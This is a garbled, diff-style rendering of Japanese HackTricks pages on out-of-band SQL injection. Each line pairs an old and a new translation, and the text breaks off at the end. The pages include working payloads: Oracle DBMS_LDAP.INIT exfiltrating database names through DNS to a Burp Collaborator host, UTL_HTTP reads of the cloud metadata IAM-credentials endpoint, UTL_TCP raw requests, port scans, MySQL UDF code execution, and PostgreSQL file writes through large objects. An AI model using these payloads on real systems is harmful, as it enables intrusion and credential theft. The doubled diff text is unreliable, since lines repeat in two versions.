{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **💬**[**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください * **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
@ -18,22 +18,36 @@ HackTricksをサポートする他の方法
### SQL関数を使用したサーバーサイドリクエストフォージェリSSRF ### SQL関数を使用したサーバーサイドリクエストフォージェリSSRF
SQL Out of Bandデータの外部流出を探索する中で、`LOAD_FILE()`関数ネットワークリクエストを開始するために一般的に使用されます。ただし、この関数は、それが動作するオペレーティングシステムとデータベースの起動構成によって制約されます。 SQL Out of Bandデータの外部流出を探索する中で、`LOAD_FILE()`関数ネットワークリクエストを開始するために一般的に使用されます。ただし、この関数は、それが動作するオペレーティングシステムとデータベースの起動構成によって制約されます。
`secure_file_priv`グローバル変数は、未設定の場合、`/var/lib/mysql-files/`にデフォルトで設定され、このディレクトリへのファイルアクセスが制限されます(空の文字列(`""`)に設定されていない限り)。この調整には、データベースの構成ファイルや起動パラメータの変更が必要です。 `secure_file_priv`グローバル変数は、未設定の場合、`/var/lib/mysql-files/`にデフォルトで設定され、このディレクトリへのファイルアクセスを制限します。この調整には、データベースの構成ファイルまたは起動パラメータの変更が必要です。
`secure_file_priv`が無効(`""`)であり、必要なファイルと`file_priv`権限が付与されていると仮定すると、指定されたディレクトリの外のファイルを読み取ることができます。ただし、これらの関数がネットワーク呼び出しを行う能力は、オペレーティングシステムに大きく依存します。Windowsシステムでは、UNCパスへのネットワーク呼び出しが可能です。これは、オペレーティングシステムがUNC名規則を理解しているため、NTLMv2ハッシュの流出につながる可能性があります。 `secure_file_priv`が無効(`""`)であり、必要なファイルと`file_priv`権限が付与されていると仮定すると、指定されたディレクトリの外のファイルを読み取ることができます。ただし、これらの関数がネットワーク呼び出しを行う能力は、オペレーティングシステムに大きく依存します。Windowsシステムでは、UNCパスへのネットワーク呼び出しが可能です。これは、UNC名規則を理解しているため、NTLMv2ハッシュの流出につながる可能性があります。
このSSRFメソッドはTCPポート445に限定され、ポート番号の変更は許可されませんが、読み取り権限が完全な共有へのアクセスや、以前の研究で示されたように、ハッシュの盗難などに利用できます。 このSSRFメソッドはTCPポート445に限定され、ポート番号の変更は許可されませんが、完全な読み取り権限を持つ共有へのアクセスや、以前の研究で示されたように、ハッシュの盗難などに利用できます。
### ユーザー定義関数UDFを介したリモートコード実行RCE ### ユーザー定義関数UDFを介したリモートコード実行RCE
MySQLデータベースでは、外部ライブラリファイルからユーザー定義関数UDFの使用が提供されます。これらのライブラリが特定のディレクトリ内またはシステムの`$PATH`内でアクセス可能であれば、MySQL内から呼び出すことができます。 MySQLデータベースでは、外部ライブラリファイルからユーザー定義関数UDFの使用が提供されます。これらのライブラリが特定のディレクトリ内またはシステムの`$PATH`内でアクセス可能であれば、MySQL内から呼び出すことができます。
このテクニックを使用すると、`@@plugin_dir`への書き込みアクセス、`file_priv`が`Y`に設定されていること、および`secure_file_priv`が無効であることなど、いくつかの条件が満たされれば、UDFを介してネットワーク/HTTPリクエストを実行できます。 このテクニックを使用すると、`@@plugin_dir`への書き込みアクセス、`file_priv`が`Y`に設定されていること、および`secure_file_priv`が無効であることなど、いくつかの条件が満たされる場合に、UDFを介してネットワーク/HTTPリクエストを実行できます。
たとえば、`lib_mysqludf_sys`ライブラリや他のHTTPリクエストを可能にするUDFライブラリをロードしてSSRFを実行できます。ライブラリはサーバーに転送する必要があり、これはライブラリの内容を16進数やbase64エンコードして適切なディレクトリに書き込むことで実現できます。 たとえば、`lib_mysqludf_sys`ライブラリや他のHTTPリクエストを可能にするUDFライブラリをロードしてSSRFを実行できます。ライブラリはサーバーに転送する必要があり、これはライブラリの内容を16進数またはBase64エンコードして適切なディレクトリに書き込むことで達成できます。
`@@plugin_dir`が書き込み可能でない場合、特に`v5.0.67`以上のMySQLバージョンの場合、プロセスは異なります。のような場合は、書き込み可能な代替パスを使用する必要があります。 `@@plugin_dir`が書き込み可能でない場合、特に`v5.0.67`以上のMySQLバージョンの場合、プロセスは異なります。のような場合は、書き込み可能な代替パスを使用する必要があります。
これらのプロセスの自動化は、UDFインジェクションをサポートするSQLMapなどのツールによって容易に行うことができ、盲目的なSQLインジェクションの場合、出力リダイレクションやDNSリクエストスマグリング技術を利用することができます。 これらのプロセスの自動化は、UDFインジェクションをサポートするSQLMapなどのツールによって容易に行うことができ、盲目的なSQLインジェクションの場合、出力リダイレクションやDNSリクエストスマグリング技術を利用することができます。
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details>

View file

@ -2,25 +2,25 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい****HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>
**この投稿には、[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)から削除された投稿のウェイバックマシンのコピーを提供します**。 **削除された投稿のウェイバックマシンのコピーを提供する:[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**。
## SSRF ## SSRF
Oracleを使用してOut of Band HTTPおよびDNSリクエストを行う方法は十分に文書化されていますが、インジェクションでSQLデータを外部に送信する手段としても使用できます。これらのテクニック/関数を変更して他のSSRF/XSPAを行うこともできます。 Oracleを使用してOut of Band HTTPおよびDNSリクエストを行う方法は十分に文書化されていますが、インジェクションでSQLデータを外部に送信する手段としても使用できます。これらのテクニック/関数を変更して他のSSRF/XSPAを行うこともできます。
Oracleのインストールは非常に面倒であり、特にコマンドを試すために素早くインスタンスをセットアップしたい場合はそうです。[Appsecco](https://appsecco.com)の友人で同僚である[Abhisek Datta](https://github.com/abhisek)は、[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)を紹介してくれました。これにより、t2.large AWS UbuntuマシンとDocker上にインスタンスをセットアップできました。 Oracleのインストールは非常に面倒であり、特にコマンドを試すために素早くインスタンスをセットアップしたい場合は、苦労します。[Appsecco](https://appsecco.com)の友人で同僚である[Abhisek Datta](https://github.com/abhisek)は、[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)を紹介してくれました。これにより、t2.large AWS UbuntuマシンとDocker上にインスタンスをセットアップできました。
このブログ投稿の過程で、Oracleをネイティブインストールとして完全なネットワークアクセスを持つように模倣できるように、dockerコマンドを`--network="host"`フラグと共に実行しました。 このブログ投稿の過程で、Oracleをネイティブインストールとして完全なネットワークアクセスを持つように模倣できるように、dockerコマンドを`--network="host"`フラグと共に実行しました。
``` ```
@ -49,19 +49,19 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
* DBMS\_STREAMS\_ADM * DBMS\_STREAMS\_ADM
* UTL\_HTTP * UTL\_HTTP
この簡な検索では、ホスト名とポート番号を渡すことができる`DBMS_LDAP`のようなパッケージがスキップされています[ドキュメントページ](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)は単に[異なる場所](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)を指すだけです。したがって、見落としたかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。 この簡な検索では、ホスト名とポート番号を渡すことができる`DBMS_LDAP`のようなパッケージがスキップされています[ドキュメントページ](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)は単に[異なる場所](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)を指します)。したがって、見逃しているかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。
いずれにせよ、発見しリストアップしいくつかのパッケージを見てみましょう。 いずれにせよ、発見したパッケージのいくつかを見てみましょう。
**DBMS\_LDAP.INIT** **DBMS\_LDAP.INIT**
`DBMS_LDAP`パッケージはLDAPサーバーからデータにアクセスすることを可能にします。`init()`関数はLDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として取ります。 `DBMS_LDAP`パッケージはLDAPサーバーからデータにアクセスすることを可能にします。`init()`関数はLDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として取ります。
この関数は以前に、以下のようにDNS経由でのデータの外部への送信を示すために文書化されています。 この関数は以前に、以下のようにDNS経由でのデータの外部への送信を示すために文書化されています。
``` ```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
``` ```
しかし、関数がホスト名とポート番号を引数として受け入れるため、これをポートスキャナーのように使用することができます。 しかし、関数がホスト名とポート番号を引数として受け入れるため、これをポートスキャナのように機能させることができます。
以下にいくつかの例を示します。 以下にいくつかの例を示します。
``` ```
@ -70,7 +70,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
``` ```
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.`は、ポートが閉じていることを示していますが、セッション値はポートが開いていることを指しています。 `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.`は、ポートが閉じていることを示しており、セッション値がポートが開いていることを指しています。
**UTL\_SMTP** **UTL\_SMTP**
@ -96,7 +96,7 @@ END;
`UTL_TCP` パッケージとその手続きおよび関数は[TCP/IPベースのサービスとの通信](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190)を可能にします。特定のサービス向けにプログラムされている場合、このパッケージはネットワークへの入り口となるか、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行できます。 `UTL_TCP` パッケージとその手続きおよび関数は[TCP/IPベースのサービスとの通信](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190)を可能にします。特定のサービス向けにプログラムされている場合、このパッケージはネットワークへの入り口となるか、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行できます。
Oracleのドキュメントサイトの例では、このパッケージを使用して[ウェブページを取得するため生のTCP接続を行う方法](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190)を示しています。これをさらに簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを行うために使用できます。 Oracleのドキュメントサイトの例では、このパッケージを使用して[ウェブページを取得するため生のTCP接続を行う方法](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190)を示しています。これをさらに簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを行うために使用することができます。
``` ```
set serveroutput on size 30000; set serveroutput on size 30000;
SET SERVEROUTPUT ON SET SERVEROUTPUT ON
@ -136,15 +136,15 @@ END;
utl_tcp.close_connection(c); utl_tcp.close_connection(c);
END; END;
``` ```
興味深いことに、生のTCPリクエストを作成できる能力のため、このパッケージはすべてのクラウドプロバイダーのインスタンスメタデータサービスをクエリするためにも使用できます。メソッドタイプや追加ヘッダーなどはすべてTCPリクエスト内で渡すことができます。 興味深いことに、生のTCPリクエストを作成できる能力から、このパッケージはすべてのクラウドプロバイダーのインスタンスメタデータサービスをクエリするためにも使用できます。メソッドタイプや追加ヘッダーなどはすべてTCPリクエスト内で渡すことができます。
**UTL_HTTPとWebリクエスト** **UTL_HTTPとWebリクエスト**
おそらく、あらゆるOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化されているテクニックは、[`UTL_HTTP`パッケージ](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070)です。このパッケージは、ドキュメントによって次のように定義されています - `UTL_HTTPパッケージはSQLおよびPL/SQLからハイパーテキスト転送プロトコルHTTP呼び出しを行います。これを使用して、HTTP経由でインターネット上のデータにアクセスできます。` おそらく、あらゆるOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化されているテクニックは、[`UTL_HTTP`パッケージ](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070)です。このパッケージは、ドキュメントによって次のように定義されています - `UTL_HTTPパッケージはSQLおよびPL/SQLからハイパーテキスト転送プロトコルHTTP呼び出しを行います。これを使用して、HTTP経由でインターネット上のデータにアクセスできます。`
``` ```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
``` ```
追加で、次のようなクエリを使用して、基本的なポートスキャンも実行できます。 さらに、次のようなクエリを使用して、基本的なポートスキャンを実行することもできます。
``` ```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
@ -156,14 +156,14 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。**
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
</details> </details>

View file

@ -5,31 +5,31 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details> </details>
### PostgreSQL Large Objects ### PostgreSQL Large Objects
PostgreSQLは、画像やPDFドキュメントなどの大なデータ型を保存するために設計された`pg_largeobject`テーブルを介してアクセス可能な**大きなオブジェクト**として知られる構造を提供しています。このアプローチは、`COPY TO`関数よりも優れており、データをファイルシステムに**エクスポート**することで、元のファイルの正確なレプリカを維持できます。 PostgreSQLは、画像やPDFドキュメントなどの大規模なデータ型を保存するために設計された`pg_largeobject`テーブルを介してアクセス可能な**大規模オブジェクト**として知られる構造を提供しています。このアプローチは、`COPY TO`関数よりも優れており、データをファイルシステムに**エクスポート**することで、元のファイルの正確なレプリカが維持されます。
このテーブルに**完全なファイルを保存**するためには、`pg_largeobject`テーブルにオブジェクトLOIDで識別を作成し、このオブジェクトに2KBごとのデータチャンクを挿入する必要があります。これらのチャンクが正確に2KBのサイズであること最後のチャンクを除く可能性があるは、エクスポート機能が正しく機能するために重要です。 このテーブルに**完全なファイルを保存**するためには、`pg_largeobject`テーブルにオブジェクトLOIDで識別されるを作成し、このオブジェクトに2KBごとのデータチャンクを挿入する必要があります。これらのチャンクが正確に2KBのサイズであること最後のチャンクを除く可能性があるは、エクスポート機能が正しく機能するために重要です。
バイナリデータを**2KBのチャンクに分割**するために、次のコマンドを実行できます: バイナリデータを**2KBのチャンクに分割**するために、次のコマンドを実行できます:
```bash ```bash
split -b 2048 your_file # Creates 2KB sized files split -b 2048 your_file # Creates 2KB sized files
``` ```
各ファイルをBase64またはHexにエンコードするために、以下のコマンドを使用できます: 各ファイルをBase64またはHexにエンコードするために、以下のコマンドを使用できます
```bash ```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
``` ```
**重要**: このプロセスを自動化する際は、2KBのクリアテキストバイトのチャンクを送信することを確認してください。 ヘックスエンコードされたファイルはサイズが倍になるため、1チャンクあたり4KBのデータが必要です。一方、Base64エンコードされたファイルは `ceil(n / 3) * 4` の式に従います。 **重要**: このプロセスを自動化する際は、2KBのクリアテキストバイトのチャンクを送信することを確認してください。 ヘックスエンコードされたファイルはサイズが倍になるため、1チャンクあたり4KBのデータが必要です。一方、Base64エンコードされたファイルは、`ceil(n / 3) * 4`の式に従います。
大きなオブジェクトの内容は、デバッグ目的で表示することができます: 大きなオブジェクトの内容は、デバッグ目的で表示できます。
```sql ```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject; select loid, pageno, encode(data, 'escape') from pg_largeobject;
``` ```
@ -42,25 +42,25 @@ SELECT lo_create(173454); -- Attempts to create a large object with a specific
``` ```
状況に応じて正確な制御が必要な場合、Blind SQL Injectionを悪用する際には、固定のLOIDを指定するために`lo_create`が好まれます。 状況に応じて正確な制御が必要な場合、Blind SQL Injectionを悪用する際には、固定のLOIDを指定するために`lo_create`が好まれます。
次に、データチャンクを以下のように挿入できます: その後、データチャンクを以下のように挿入できます:
```sql ```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
``` ```
大きなオブジェクトをエクスポートして、使用後に削除する可能性があります: 大きなオブジェクトをエクスポートして、使用後に削除するには:
```sql ```sql
SELECT lo_export(173454, '/tmp/your_file'); SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object SELECT lo_unlink(173454); -- Deletes the specified large object
``` ```
#### `lo_import`とHexの使用 #### `lo_import`とHexの使用
`lo_import`関数を使用して、大きなオブジェクトのためのLOIDを作成および指定することができます `lo_import`関数を使用して、大きなオブジェクトのためのLOIDを作成および指定することができます
```sql ```sql
select lo_import('/path/to/file'); select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454); select lo_import('/path/to/file', 173454);
``` ```
以下のオブジェクト作成後、ページごとにデータが挿入され、各チャンクが2KBを超えないようにします。 以下のオブジェクト作成後、ページごとにデータが挿入され、各チャンクが2KBを超えないようにします。
```sql ```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0; update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1; update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

View file

@ -1,4 +1,4 @@
# dblink/lo\_importデータの外部流出 # dblink/lo\_importデータのエクスフィルトレーション
<details> <details>
@ -6,15 +6,15 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
